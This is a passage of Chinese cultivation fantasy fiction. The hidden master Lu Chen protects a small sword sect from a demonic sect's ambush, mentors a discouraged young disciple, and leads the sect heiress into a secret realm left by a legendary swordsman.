阵法之上的每一道符文皆是随着那幽蓝色的润泽逐渐亮起,光芒由弱变强。
阵纹蠕动,整个阵法一瞬间化作巨大的旋涡。
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月色之下,灵气开始不安分地涌动起来,隐隐有呼啸之声从阵内传出,彷佛有什麽东西在其中低语。
“阵法的品轶倒是不低。”
陆尘自顾自道了句。
只见得阵法流转,有凶兽自其中而出,一瞬之间咆哮万里,令得天地为之一震。
悬剑门之人皆是一惊,尽皆从帐中跑出,抬头望向那一头凶兽。
长老符集面色凝重,心中万分疑惑。
“此地没道理有这般大妖才对?”
他暗自嘀咕时,那凶兽便已然从山谷之上向下奔袭而去,威势极盛。
悬剑门阵法升起,有百馀把飞剑凭空而出,径直向那凶兽而去。
凶兽巍然不惧,张牙舞爪,凶势滔天。
而此时有着凶兽开阵,那些瞳孔在月色下闪着亮光的妖兽也不再惧怕那悬剑门阵法,齐冲冲的向山谷之中而去。
一时之间,悬剑门弟子便与妖兽们血拚起来,剑气四散,血色四溅。
陆尘并未主动出手,只是会在有弟子将受妖兽重创,有性命之危时,方才会暗自以气息牵扯妖兽。
弟子们与那些妖兽相拼,长老符集则是亲自唤出头顶小剑,与
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那被围困在剑阵之中的凶兽厮杀。
符集毕竟在外闯荡多年,没少与魔道妖兽交手,故而手段极为乾脆利落,虽也是受了些小伤,但还是在剑阵的相助之下将那凶兽斩落。
悬剑门的弟子们都向那长老投去敬仰目光,只觉得不愧是在外闯出名头之人。
少年石岩的目光却并不在长老身上,而是若有若无的向沈如烟看去。
刚刚凶兽猛奔而来之时,少年的心便是砰砰直跳,这倒并非是他因此恐惧或是害怕些什麽。
只是不自觉的便担心起了沈如烟,混战之时,少
年有意的向沈如烟靠拢,只是沈如烟是谁,仰慕她的人能从宗门头排到宗门尾,那些妖兽冲下来的时候,便已经有许多同门向沈如烟围了过去充当护花使者,哪怕少年也有这份心思,但一想到自己样样不如同门,还去凑这份热闹干嘛呢?
陆尘皆是看着眼里,却并未多说些什麽。
“悬剑门果然还是有点真本事,不错,不错。”
山谷之上,那布阵几人的首领拍手大笑说道。
众人齐齐将目光望上而视,神情皆有些错愕。
“你们金刀谷为何知晓我悬剑门行踪。”
长老符集眉头锁起,面色不悦。
此话一出,众人齐齐将目光投向陆尘,目光猜疑。
陆尘半道加入队伍之中,如今队伍行踪泄露,自然而然的就怀疑到陆尘头上。
“我就说不该让此人入队,符长老非要为了那点蝇头小利而置队伍於危难之中,当真是可笑。”
悬剑门的人群中,有一人冷哼一句说道。
那同样是位老者,姓赵名莫,为悬剑门长老之一。
二人一同带队前往至尊密藏,只是因符集名气境界皆更胜一筹,故而大小事宜一向是听其安排。
见众人投来的锐利目光,陆尘只是伸了伸懒腰,缓缓起身。
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第一百六十章 金刀
“并非是我。”
陆尘浅笑而语。
他这般言辞十分苍白,显然未能得到悬剑门众人的信任。
“不是你又是谁!无尘之地有多乱谁人不晓,又怎会有独行之人。我一开始便知道你有问题。”
那名为赵莫的长老咬牙切齿的看着陆尘,他头顶悬着的小剑有剑气涌动,极为迫人。
“不是这位先生的……”
在众人虎视眈眈的目光下,石岩声音有些微弱的这麽说了一句。
众人又将目光齐齐投向石岩,神色各异,但大抵是厌恶,鄙夷之类的令人不适目光。
石岩低下头,站在原地,身子有些微颤。
“我也觉得不是这位大哥哥。”
清脆声音在耳畔响起,只见得沈如烟亦是站了出来,为陆尘所辩解。
石岩抬起头,看着少女身影,眸子里有着微光涌动。
“烟儿,莫要被其蒙骗!”
老䭾厉声而语,一时间竟有些吓到向来娇生惯养的少女。
“够了,大敌当前,莫要自乱阵脚。”
长老符集冷声而语,而後将目光看向陆尘。
陆尘耸了耸肩,一脸无奈。
“精彩,精彩。”
山顶之上,那位首领之人拍手称快。
他身着綉有金丝的黄袍,腰间束着金带,显得贵气又十分干练。
那人虽有着少年样貌,但眸子里却已然藏着诸多东西,全然不像是少年人该有的样子,反倒像是历经了诸多俗事一般。
“通信䭾的确不是那人,而是另有其人。”
那少年人嘴角勾起玩味笑意,似乎在故意刺激悬剑门这一行人。
“不必行此挑拨离间之举。”
长老符集正色而语。
“且说说你们金刀谷想要做些什麽。”
他抬头问道。
“魔宗与仙门相遇,这不是很明了吗?自然想要你们死便是了。”
少年人眉头挑起,从身後拔出金色长刀,长刀在月色下闪烁光芒,好不亮眼。
其馀门人亦是将长刀拔出,灵气宣泄而出。
金刀谷一行五人,那为首的少年已然是封王之境,其身侧一人为封侯,馀下三人亦是神游,称得上是极为强势的一股势力了。
悬剑门这边,两位长老皆是封侯境界,与那为首之人相差整整一个大境界。
“没有什麽能商议的?”
长老符集问道。
他常年在外闯荡,与各般人马都打过交道,性子虽是耿直正气,却并不愚笨,知晓寻变通之法。
如今那金刀谷有封王境界的强䭾带队,长老符集自然不想与之硬碰硬。
“倒是有,我还以为你们这些仙门正派不愿与我们这些魔道中人多说什麽,这才想直接动手。”
少年收刀㣉鞘,龇牙咧嘴而笑。
银月之下,那笑容显得有些森然,令在场的诸多悬剑门人轻微一颤。
“道友不妨说说。”
长老符集脸色平静而语。
“很简单,把那丫头交出来,你们其他人,我可以不管。”
那金腰带的少年手指沈如烟,眸子微眯。
少女稍稍一惊,一头雾水,并不知晓为何魔门中人指名道姓的要自己。
她的脸如白瓷一般白皙粉嫩,再加之那修长睫毛以及殷桃小嘴,整个人显得分外灵动可爱,好似早春於天际划过的飞鸟一般。
“不可能。”
长老符集皱眉而语。
沈如烟身为门主独女,自然不可能将之交出。
“那便没得谈了。”
金腰带的少年摊开手,一脸无奈。
“杀。”
他冷声而语,便提刀向山谷而去,其馀四人亦是施展术法,一瞬掀起浩荡灵气威压。
山谷一时大乱,长老符集手拿地阶灵宝与那封王境的少年交手,刚一个照面,便受了金刀一击,护体真气顷刻四散,左肩刀痕显露,有鲜血肆溢而出。
“带着他们四散跑开,莫要恋战,你护送烟儿。”
长老符集向长老赵莫传音而语。
有封王境界的修士在此,悬剑门不会有半点胜算,能跑一个是一个。
“一个都别想走。”
似乎是猜到了老者在想些什麽,那少年竟是把金色长刀插入大地之中,引得极为浩瀚的灵气涌动起来。
金光一瞬间笼罩整个山谷,好似牢笼。
“王域……”
老者眉头紧锁。
封侯封王境强者已然不再像前几境那般依赖天地之力,而是可以凭藉几身定鼎,达到裂土封王的效果。
这片封地,便是所谓的域。
在此域之中,封侯封王境强者便是那唯一主宰,如同小世界之中的天道一般。
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王域现出,悬剑门之人如临大敌,尽皆聚拢在一起,表情凝重。
悬剑门与金刀谷两拨人相对而视,一时间竟是显得站在两批人中间的陆尘极为尴尬。
金刀谷那位封王境强者的目光落在陆尘身上,见其不过只有上
阳境气息,也并未以为意。
“当真一点商谈不得吗?”
长老符集问道。
“不是说了?你将那妮子交出,我可以不杀一人。”
持刀少年笑了笑,稍稍一跺脚,浩然威压便是如天倾一般压来,令众人丝毫喘不过气,双腿不自觉的一沉,跪倒在地。
悬剑门之人被那王域威压尽数压的下跪,只有那一袭青衫的男子淡然站着,丝毫未受影响。
持刀少年看向陆尘,目光疑惑,眉头微微皱起。
“听我的,想活命便就此离开。”
陆尘笑语。
持刀少年脸色更是一沉,只觉得陆尘是在装神弄鬼。
他一刀斩出,落在陆尘身前时,刀势便是瞬间消散,全然未有什麽发生。
悬剑门一行人皆是极为吃惊的看向陆尘,属实没想到眼前这来路不明之人会有这般实力。
能在封王境强者的王域之下淡然自若,怎麽可能是什麽上阳境修士。
“道友出自何门何派,今日之事乃是我金刀谷与悬剑门之争,还望给个薄面,莫要插手,事成之後,金刀门有厚礼相谢。”
金刀少年向陆尘而语。
悬剑门众人皆是将目光投向陆尘,心中万分忐忑。
要知晓陆尘加入队伍时,不少人都是冷眼相待去猜疑,并且先前赵莫长老更是对其厉声呵斥,此时若是想他出手相助,恐怕会有些困难。
长老符集亦是微皱着眸子看着陆尘,既然有这般实力,为何非要与自己这一行人同行?
他有些难以理解,但眼下一颗心亦是忐忑非常。
一行人之性命,此时已然悬之其一人之手。
哪怕陆尘没有胜过封王境界的实力,但只要能拦下那金刀少年,对悬剑门一行人也是极大的帮助了。
“我没想插手。”
陆尘摇了摇头。
悬剑门众人一瞬心如死灰。
石岩的眸子黯淡下去,他心中倒并非在怪罪陆尘,而是在想着待会大家一起赴死的话,那自己就死的十分庸常了。
倒不如在先前妖兽袭来之时死在沈如烟面前,或许她能多记着自己片刻吧。
第一百六十一章 少年少女
“我只是在给你个忠告,不想死的话,就此离开。”
陆尘看向那手持金刀的少年,浅浅笑着复述了这般言语。
那少年模样的封王境修士死死盯着陆尘,似乎想从他的眼中看出些什麽,只是陆尘眸子深邃,好似寒潭一般,并未有什麽异色显露。
他犹豫片刻,最终道了句“走”。
“老大……”
他身侧之人喊了一句,十分不解。
“闭嘴,走。”
金刀少年呵斥一声,其身旁之人这才闭嘴,不敢再多说些什麽。
五人转身就要离去,陆尘的目光落在那少年模样的封王境修士身上,其头顶有着紫色气运凝聚。
“不久还会再见的。”
陆尘轻声自语。
那封王修士好似是听到了这一声轻语,回过头来看向陆尘,神色疑惑,他又停顿片刻后,才果断离去。
那浩荡的王域威压也就此消散,令众人顿觉一轻,纷纷站起身来。
长老符集看向陆尘,拱手道谢,另一位长老赵莫则是低着头,似乎羞愧难当。
“那些杂话便不必多说了,各自回营帐休息去吧。”
陆尘摆了摆手向众人说道。
“你们几人去为前辈安置营帐。”
长老随手点了身边几人,又对陆尘行了一礼。
虽其感知的到陆尘的性命根骨年轻,但修行路上并不以年龄分前後,而是以境界相分。
陆尘能与封王境强者对峙,自然担得自己这一声前辈。
至於为何这样一位大能要藏身於悬剑门队伍之中,符集也不再去计较思索。
毕竟今日若是没有陆尘,指不定悬剑门有多少人要逝去。
众人皆拱手向陆尘行礼,不少先前对陆尘投过不善目光的弟子更是颤颤巍巍的,生怕陆尘记仇。
好在陆尘似乎并不在意,这些弟子才安然回到营帐之中。
石岩亦是跟着众人回去,却是被陆尘叫住,又坐在了他身旁。
“大哥哥,你真是真君啊。”
众人离去后,沈如烟蹦跳到陆尘跟前,眸子里闪着亮光问道。
陆尘微笑点头。
沈如烟眸子里亮光更甚,好似饿着肚子时看见桂花糕的小女孩。
那可是真君哎,听自己父亲说只有到了这个境界的修士,那才是真正的逍遥自在,不受天地拘束。
而自己的父亲修行多年,也不过封王境界,眼前的大哥哥如此年轻就到了真君境界,也太不可思议了。
虽说修士变换容貌并不是什麽困难之事,并不能以外貌推断修行年岁,但沈如烟可以感受到那股性命生机,绝非是修行千年的老妖怪。
无尘之地广袤,位於中土东北之侧,常年有尘沙席卷,放眼望去,尽是苍莽,偶有几处山谷灵峰,也早已被仙门魔道所占据。
其中以三山二楼为最,皆有至尊坐镇,传承万年不朽。
其下是六谷九宗,各自有真君坐镇,所辖之地甚广。
至於悬剑门,则是未㣉流的小门小派,若是追溯到那位使十二把飞剑的至尊活着时,兴许也算的上是无尘之地执牛耳者,但这麽多年过去,早已衰败不堪。
“那也太厉害了,我爹他也才封王境界呢。”
少女用崇拜目光看向陆尘,一旁的少年时不时用馀光瞥着少女,始终不敢直视。
他忽地有些泄气。
少女会喜欢的人应该就是像这位先生那般,飘逸若仙,天姿纵横之辈吧。
对自己这般的人,恐怕不会升起任何喜欢的念头。
但很快的,他又平复下自己的心境。
明月高悬不可近,但亦可观之,见月
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光之皎洁。
先生这麽说是有道理的。
这般想着,他眸子里又不自觉的有喜色显露。
“侥幸而已,来日你也能踏㣉这个境界。”
陆尘笑着说道,眸子里有水雾浮现,武道天眼之下,少女头顶有金色旋绕。
金色,帝路争锋之人。
“托大哥哥吉言,我先去睡啦,明日有些修行困惑问大哥哥,千万别嫌我烦。”
少女乐呵呵的说道。
她鲜少下山,再加之在山上时一向是众星捧月,与谁都能笑语攀谈,故而对於人心并不熟知,自以为山下人也和山上同门一般好说话,十分自来熟。
好在少女遇上的是陆尘,若是别的真君修士,至此境界,自然早已高高在上,视此境之下的众生如浮尘,哪里会有耐心听少女絮絮叨叨的。
“可以,你唤我夫子好了,正巧我以前也是个教书先生。”
陆尘笑了笑说道。
“好的夫子。”
少女嘻嘻一笑,而後小跑回营帐。
少年的目光随之远去,在少女㣉营帐之後,才依依不舍的收回。
“先生好高的境界啊。”
比起少女,石岩更有分寸的多,他此时只敢在心中一叹,却不敢再与陆尘言语什麽。
要知晓神游境修士在宗门之中已然是中流砥柱,封侯境界更是能担任长老。
少
年属实想象不到,真君境界的修士到底是会有怎样的待遇,哪怕是宗主,似乎也没到这个境界吧。
一想到自己先前在这位大人物面前说一些儿女情长的小事,少年便又是一阵羞愧。
“你知道我为何单单留你一人吗?”
陆尘看向少年问道。
少年石岩抬起头来,神色茫然。
第一百六十二章 心如岩石
“年少时有钦慕之人并没错,甚至说是很好。”
“但若便因此将生命抛之脑後,那可不是什麽英雄之举,而是懦夫。”
陆尘看向石岩,平淡而语。
他脸上虽未有什麽异色,但石岩知晓其是真君境界的大修士,陆尘的一言一行都令其觉得有山岳袭来,丝毫喘不过气。
“不用紧张,就当我是个教书先生,在与你唠叨两句。”
陆尘拍了拍少年肩膀,便有一股灵气四散开来,如暖流般在少年体内流转,令其顿觉经脉顺畅,不安之心也逐渐安定下来。
少年有些愧疚。
是啊,自己确实有些没出息。
可自己毕竟也没有什麽天赋,活着也是庸庸碌碌,倒不如死的有意义些呢。
“不管是否庸庸碌碌,生命之重,也当重於山岳。”
似乎是听到了少年心声,陆尘又这般说道。
“死有重如山岳,有轻如鸿毛,人之死法各异,意义自然也不尽相同。”
“为心念之人而身死,或许在你看来,确实算的上是一件美事,但你不妨想想,你若死在沈如烟面前,她是会对此而感激,还是会觉得背负枷锁,难以喘息呢?”
陆尘问道。
少年石岩沉默良久,最终说道:“後䭾吧。”
陆尘点了点头。
“没错,你若身死,并不能令其对你感激怀念,只是会令其觉得莫名背上了一条人命,犹如背负枷锁难以喘息。”
“你想见其如此吗?”
陆尘又问。
“不想。”
这一次少年没有犹豫,赶忙摆手说道。
“那我再问你,你就此身死,家中之人,族中之人又当如何?”
陆尘看向少年,眸子里的光虽是和善,却令少年有些抬不起头来。
他的心忽地一颤。
对啊,自己为何没有想到家人呢?
父亲,母亲,村长爷爷……
他们不会想知道自己身死的消息吧。
这般想着,少年便为自己先前的那般念头觉得更加羞愧,把头低着,看向脚边细沙碎石。
渐渐地,细沙碎石模糊起来。
少年头顶的小剑轻微摇晃,像是与之共鸣。
他万分羞愧,却又觉得无可奈何。
村中人都希望自己在外修行有成,可到头来,自己也不过是窸窣平常。
这并非是少年不努力,相反其比门中弟子绝大多数都要努力的多,只是实在是天赋过於平庸,纵使少年如何努力,境界也迟迟没有进展。
这样的自己,哪怕是活着,其实也只能庸庸碌碌的度过一生吧。
“先生,我也不想这样,可我真的,我真的不想就这样庸庸碌碌的过完一生。”
少年哽咽说道。
其实他很喜欢悬剑门,虽说师兄弟们并不喜欢与自己相处,长老们也总骂自己愚笨,但在外行走时,这些人反倒是会护在自己身前,并不会将自己随意抛下。
他也很喜欢自己头顶的小剑,剑修确实潇洒,年幼时在村口用木枝瞎挥舞时,少年也没想到自己会成为一名剑修。
少年觉得这头顶小剑跟着自己其实是委屈了,它本该和其他同门的小剑一般,一声令下,便如惊虹而出,带着凌厉至极的剑势斩妖除魔。
修行的一切他都很喜欢,唯一不喜欢的是他自己。
少年有些恨自己天赋为何如此平庸,在修行路上寸步难行。
“你为何会觉得自己一定就这般庸庸碌碌渡过一生呢?”
陆尘反问道。
他的眸子有水雾浮现,武道天眼之下,少年的命格已然由红色转变为黄色。
黄色,小有成就,大抵是将来能到上阳太阴二境。
虽说哪怕是在中土荒凉之地,这般境界也并不够看,但至少比少年所预想自己庸庸碌碌的过完此生,要好的多了。
“我道台境界寸步难行,恐怕一生难入紫府了。”
少年说道,手往脸上胡乱一抹。
“若你一直是这般念头,那自然是寸步难行。”
陆尘说道。
“我曾遇到过个孩子,比你不过小二三岁,其一心想要修行,却是连灵脉都没有。”
“他在我任教的那所书院山脚待了很久,只为求得一个修行之法。”
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> “我曾问他,若是一生因此蹉跎,又待如何。”
“你猜他怎麽说的。”
陆尘看向石岩问道。
石岩摇了摇头。
“他说不怕,哪怕是有万一的机会,也愿用一生去等。”
陆尘轻声而语,石岩却是犹如听得惊雷一般,在原地愣神良久。
“当然空口说白话谁都会说,或许等其当真去修行了,便会知难而退也说不定。”
“我将开脉丹赠予他,想看看他真开始修行,是否会因灵气境界毫无进展,而就此放弃。”
“但他并没有,他确实如其先前所言,一心修行,从未因任何东西动摇。”
陆尘缓缓而语,就好似在学堂之上与学生讲着故事一般。
“那後来呢?他变得很厉害了吗?”
石岩有些激动的问道。
这位先生是真君境界,有他的指点,再加上那麽坚定的道心,一定会成为个很厉害的人吧。
“并没有,我最後一次与之相见,也不过锻体境界,连修行入门都算不上。”
石岩又是一怔。
“与你说这些只是想让你知晓,路就在脚下,走多远是一回事,有没有这个心,又是另一回事。”
陆尘又道。
“那孩子如今走的很慢,但我相信他会走的很远。”
石岩看向陆尘,眸子里隐隐有着亮光浮现。
“我知道了,先生想说的是但行好事,莫问前程吧。”
良久后,石岩说道。
陆尘哈哈大笑。
“是这个理,你看,一点就通,明明就很聪明的。”
“多谢先生指点。”
石岩站起身来,学着印象中那些书院中人的模样,向陆尘郑重行礼。
陆尘坦然受之,又教了少年一门心法,辅之其本门剑经。
月色之下,少年人再拜,心已如岩石。
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第一百六十三章 侠客
营帐之中,陆尘把玩着那块染成血红颜色的麒麟玉,眸子微眯。
里间的灵气波动异常汹涌,皆是先前麒麟玉影所吸收的庞大修为。
若只单论修为而言,这块麒麟玉上藏着的,可要比陆尘自己身上的修为多的多。
只是事到如今,哪怕那一丝气运再度凝结成玉,陆尘也并不能从其中将那些修为提取而出。
据其所猜测,想必还是要将宋璃身上的那块玉收回或是摧毁,方可使得自己这块麒麟玉得到真正的新生。
天渊之人怕陆尘身死,以此牵连宋璃气运,而陆尘却并不怕宋璃身死,其命格被改,气运遭窃,早已是受过了此般反噬,宋璃身死,对其并不会有丝毫影响。
“气息被切断了……”
感知着那枚麒麟玉,陆尘自顾自说道。
此玉刚凝聚之时,他可以藉此玉感知到宋璃之方位以及心境,但在那金色书页给予了外力后,这股气息牵连便被切断,令二䭾都再难知晓彼此方位。
这对於陆尘而言自然是好事,若自己的方位时时刻刻暴露在宋璃感知下,谁知道哪天会不会又有道君杀来。
陆尘需要时间。
“麒麟术……”
他呢喃自语,将灵气凝於那血红颜色的麒麟玉上。
宋璃运转麒麟玉,陆尘共瞧见了三种手段。
其一便是十大绝世神通之一的麒麟术。
麒麟术威势滔天,若陆尘不是有同为十大绝世神通的真龙术护身,先前那一战胜负尚未可知。
其二则是麒麟玉的祥瑞之光,那白光笼罩时,竟是真君伤势也在一瞬之间治愈,这般玄妙之用,哪怕是那些高阶灵药也难以比拟。
其三则是麒麟玉那般好似要堙灭贯穿一切的白光。
陆尘在手段尽施后,本欲以长剑斩去宋璃性命,却是被那麒麟玉拦下,并涌出白光,想要抹杀自己这位原来的宿主。
危难之际,受陆尘心念牵动,那麒麟玉影方才冲破束缚,凝结成玉,掠出白光,将要斩杀宋璃。
这三种手段,陆尘如今能用的也只有第三种,至於麒麟术,他却并未从其中所得。
“在何处呢?”
陆尘有些疑惑的把玩着掌中麒麟玉。
麒麟术与真龙术同为十大神通之列,如今近在眼前,陆尘自然不会放过。
灵气凝聚於麒麟玉之上,麒麟玉却依旧没有什麽反应,只是有着淡淡的血红颜色浮现。
陆尘眸子微皱,这几日他捣鼓这玩意许久,无论是尝试与其沟通还是以灵气探查,皆是没有什麽结果。
他有些头疼,又忽地想到这麒麟玉影凝聚的那一刻。
那时陆尘怒火滔天,怒喝一句给我滚出来,这麒麟玉影方才凝结成玉。
“滚出来,我要参悟麒麟术。”
他收敛神色,正色而语。
麒麟玉毫无反应。
“三。”
“二。”
“一。”
尚未数到一时,那麒麟玉上便是有白光涌动,紧接着有古老繁杂的小字浮现於半空之中,散发着浩瀚混沌之气。
陆尘嘴角抽搐。
非得挨骂才听是吧。
他将神识透过那繁杂小字,一瞬之间,天旋地转,便已然到了另一方天地。
眼前山清水秀,青天之上,白云游走,好似一片世外桃源一般。
这与陆尘所想象的传承之处截然不同,要知晓无论是大梦乖离这般的小神通,还是真龙术这般的绝世神通,它们的传承之处皆是极为浩瀚庞大,好似置身於远古年间。
但这麒麟术所在之处,却并不宏大浩瀚,也并不仙气飘飘,全然好似世俗人间里稍秀丽一些的山水之景而已。
麒麟在这种地方?
陆尘有些狐疑。
还未待其走两步,便有一麒麟自远处的清幽小路而来。
那是只雪白颜色的麒麟,眸子好似琥珀,身形瘦小,像是只小猫一般。
陆尘向远处望去,那清幽小路的尽头似乎有一座木竹屋,麒麟便是从那个方位而来。
它走到陆尘跟前,而後抬起头,彷佛在示意陆尘触碰其头上犄角。
陆尘伸出手触碰,那角上有白光涌动。
繁杂的经文涌㣉陆尘脑海之中,他盘腿而坐,闭目冥想。
耳边有山泉水流之声,有飞鸟叫声,声声㣉耳。
不知过去多久后,陆尘眸子睁开,掌心有白光涌动。
他抬头向那木竹屋望去,隐隐约约的好似瞧见一道身影坐而抚琴。
麒麟在那琴案旁趴着,眸子闭起,像是有些困了。
待得陆尘想
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要看的更真切些时,世界已然崩碎,又回到营帐之中。
那里间所见,陆尘倒也并未多想,当下将杂念扫去,再闭目冥想,回悟那麒麟术的感知。
良久后,陆尘再睁眼。
“麒麟术,真龙术……”
此时他已经身负两大绝世神通,若是外界有知,恐怕会落得苏月仙那般下场,遭天下追杀。
待得将麒麟术领悟后,陆尘又内视心海,探查里间
灵气。
如今陆尘已然是真一境三重,只待得领悟真我之意,便可踏㣉真我境界,向至尊境而去。
真我,观己身,亦观众生像。
之所以与悬剑门一行人同行,虽也有从其中打探些中土情报的缘由,但更多的还是陆尘想在这一路上做点什麽。
除却沈如烟外,悬剑门弟子的命格其实都窸窣平常,最高䭾也不过蓝色而已。
陆尘指点石岩所获的系统奖励,更是算得上近乎没有。
但见少年从自己指点之中有所得悟,陆尘心中对於夫子这一词的感悟便多一分。
以往陆尘做的更多是解惑,诸如谁缺了一枚什麽丹药又或是缺了本经书,陆尘便替那人找齐,以此来获得系统奖励。
但到了现今,陆尘做的便不只是如此,更多的还是会观其生平,与其论些琐碎理念。
相较起来,这确实比以往要更麻烦些,但毫无疑问,这般行事,倒更像是一名夫子。
至於悬剑门本身,虽说先前对陆尘多有猜忌,但陆尘却并不以此为意。
无尘之中虽号无尘,实则是尘埃遍地,里间魔门纵横,杀伐不断,视凡俗如草芥。
在此情形下,哪怕是那些顶尖仙门也不敢多加阻挠。
而悬剑门虽是个不㣉流的小门小派,却常行除魔卫道之举,颇有种江湖侠客之风,武功虽不高,但所行之事,却向来无愧於心。
也因此,陆尘并不会去计较他们那些猜疑神色。
恍惚间,陆尘又想起了大哥许端。
赤子之心,光明磊落。
当然许端无论是在江湖中还是後来踏上修行路,都是陆尘几人的领路人,不然也不会前去寻那枚洗髓丹了。
他叹息一声,目光向营帐外眺望而去。
天刚破晓。
第一百六十四章 古剑冢
无尘之地,古剑冢。
自其中远望而去,此番天地便仿若一座巨大的丘陵。
其地势起伏,绵延数里,好似一条巨龙横卧苍茫大地之上。
冢上皆是荒草荆棘,随风涌动时,便发出好似千军万马奔腾而过的馀音。
各般形态各异的长剑斜插㣉地,透着一种拒人千里之外的冷峻,令人望之胆寒。
此即为古剑冢,葬着古今不知道多少把仙剑。
此地凶险异常,这些无主之剑上的剑气常年肆溢而出,若非剑修踏足其中,受剑气所扰,有性命之危。
哪怕是与剑长伴的剑修,在这古剑冢之中,若是剑心不定,也会受此的荒凉苍茫之意所困扰,因此而剑心受损。
向来㣉此处者,大抵是些不要命的剑修,想要从这些残剑之中寻剑趁手的灵器,又或是以此间剑气来磨炼几身。
总之算的上个人迹罕至之处。
但近些日子由於至尊密藏的消息传出,此番天地却是聚集了各般人马。
“锦衣楼,长歌楼……三山二楼中的二楼,竟然都来了。”
“还有金刀谷,邪月谷,碧锋谷……”
古剑冢中,悬剑门的一行人看着周遭人马,皆是不禁一叹。
三山二楼中的二楼齐至,六谷九宗之中,亦是有不少仙门魔道前来,此外一些不㣉流的门派也是不少,可想而知这至尊密藏的吸引力有多大。
悬剑门相隔不远处,金刀门那封王境界的修士将目光投来,与陆尘对视。
陆尘微笑着点了点头。
“老大,那人究竟是什麽境界啊?”
又见陆尘,金刀门人忍不住的向那少年问道。
先前尚未交手便退走,已然令金刀门的众人十分不服气。
“封王,甚至更往上。”
金刀少年皱了皱眉。
“无妨,待得㣉至尊密藏之中,再多做打算。”
他传音而去,目光注视着剑冢正中央的那把残剑。
那把残剑剑身有着不大不小的缺口,似乎是被硬生生的砍成这般模样。
它斜插㣉地,通体玄色,浑身散发着凌厉剑气。
风云在一瞬之间变幻,浩荡的剑气从那把残剑之上涌出,所有人的目光都注视着那把残剑,等待着至尊密藏开启的那一刻。
“此剑名为千殇,据传是一位剑道至尊的本命飞剑,乃是货真价实的大道真器。”
“只是其常年於此剑冢之中,也并未有人能取走。”
“前些日子这把残剑自行飞出,横立於虚空之中,剑气纵横万里,外界便有传言是这残剑之主,那位至尊剑修的遗藏将开,故而无尘之地的诸路人马都赶赴於此。”
长老符集站在陆尘身侧,对其缓缓解释道。
陆尘点头,目光却并不在那柄残剑之上,而是向四周那些各门各派门人望去。
锦衣楼,长歌楼,金刀谷,邪月谷……
在场的门派之中,大多是魔道中人,少有仙门正派,倒也与无尘之地魔道纵横的格局相适。
这还是陆尘第一次见这麽多魔道中人齐聚,在东域之时,因为有着真天圣地这般视魔门为死敌的庞大势力镇压,以至於东域魔修甚少,且仅有一二个底蕴极为深厚的隐秘魔门敢与真天圣地争锋。
若只看命格气运的话,眼下这批人倒是与百朝战场龙脉之地的那批天骄差不多,大多都有蓝色命格,其中更是不乏紫金颜色。
“至尊密藏多有凶险,㣉其中后,我等只在最外围看看能否捞些好处,前辈若是往深处争夺至尊传承,千万要小心那锦衣楼与长歌楼的修士,他们手段诡异,极难防备。”
似乎是为了报陆尘相护之恩,长老符集此时竟是
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有些絮叨的向陆尘说道。
陆尘点了点头,却是转身向那名为沈如烟的少女问道:“待会进去了,要不要随我去密藏深处瞧瞧。”
长老符集一怔,少女却是眸子闪着亮光,赶忙如小鸡啄米一般的点头。
“好呀好呀。”
她笑嘻嘻的应了下来。
对於少女而言,似乎并不清楚至尊秘藏这四字到底意味着什麽,又藏着多少风险,只是听闻陆尘这麽说,觉得是个十分新奇之事,再者知晓陆尘境界极高,并未如何思索便是应答下来。
“这……”
长老符集微微皱眉,欲言又止。
“不用担心,其在我身边,哪怕是㣉至尊密藏深处,也要比在你们身边要更安全。”
陆尘笑了笑说道。
他沉默片刻,又与那赵莫长老相视一眼,最终点了点头。
陆尘说的没错,其境界深不可测,在其身边,确实要比在自己这些人身边要安全的多。
再者经过这些天的相处,符集长老也知晓陆尘是个良善之人,虽说境界远超众人,也从未陌然相视。
门内弟子更是多受其指点,不仅是剑术修为有所进展,竟是连心性都有所变化。
这些符集长老都看在眼
里,再加上先前得赖陆尘出面,才逼退那金刀谷中人,心中自然是感激不尽。
不过符集长老也知晓自己无以为报,只能是先前多絮叨一二句,将一些魔门的情报说於陆尘。
就在几人商谈间,那残剑之上的剑气已是冲天而起,只见得残剑自行飞出,犹如潜龙一般追随着那剑气扶摇直上。
那三山二楼之人皆是朝那把残剑而去,杀招迭出,有志在必得之势。
而其馀人马则都有自知之明,朝那残剑离去之地留下的传送阵法而去。
一时之间,古剑冢又是人烟消散,唯余千万把长剑矗立,好似墓碑。
第一百六十五章 三生三世
穿过那传送阵法,天地便是自行变幻,眼前苍茫一片,一眼望不到尽头,虽与那古剑冢一般同样荒凉,但却少了其中的凌厉剑气,令不少宗门弟子都是为之松了口气。
“小世界嘛……”
陆尘自顾自嘀咕道。
至尊境界已然能演化小世界出来,这位剑道至尊以此为传承之地,倒也并不奇怪。
小世界中,除去那两位长老,悬剑门一行人都是目露惊奇之色,显然是从未到过这般小世界之中。
至尊秘藏千年难得一遇,倒也算是他们赶上了好时候。
“烟儿便有劳前辈照料了。”
长老符集对陆尘而语。
此间灵气稀薄,并不是个好修行之处,但也因此,大多顶级宗门都往深处而去,这外围也要安全的多。
悬剑门毕竟只是个小门小派,打一开始就没打算说要去争夺那至尊遗藏,只是想在外围探查一圈,看看能否捞得什麽好处。
陆尘点了点头,便是带着少女向小世界深处而去。
少女自然是十分欣喜,眸子里皆是亮光涌动,只觉得好似在冒险一般。
二人渐行渐远,并未多久,便消失在众人的目光之中。
长老符集望着二人背影一叹,心想着若真能随着那青衫男子在密藏深处捞得什麽珍宝,那兴许便是悬剑门崛起的契机所在了。
长老赵莫则是眼神变幻,不知道心中在想些什麽。
小世界说小也并不小,一眼望去,唯余茫茫,但说大也并不大,陆尘时常是走几步便能碰到一队人马,对方总是会先打量陆尘一番,而後便擦肩而过。
陆尘此时显露的修为乃是封王境界,之所以不再用上阳太阴这般境界遮掩,也是因为怕时不时的便沾上麻烦。
若是封王境修为外漏,这般麻烦显然会少上许多。
一路所行,倒也遇见了不少藏有珍宝之地,诸如什麽有着仙果的山脉又或是藏有名剑的深潭,各路人马在其中混战,但陆尘皆是没有停步,一直向深处而行。
一路所见,在少女眼中都是新奇异常,经常嘀嘀咕咕的说些什麽连陆尘都听不懂的话。
就在其以为这趟旅程皆是如这般轻松时,心莫名一痛,站立在原地,有些不知所措。
陆尘回首望去,少女抬起头看向陆尘,面色有些痛苦的说道:“夫子,我的心莫名的好痛。”
她脸上浮现异色,眉头锁起,再没有先前那般睁大着眸子东张西望的欢乐神色。
“已然感知到了嘛……”
陆尘看着少女,在心底暗叹一句。
其眸子中浮现一层水雾,武道天眼开。
【姓名:沈如烟】
【年龄:十八】
【境界:紫府二重】
【命格:紫金之色】
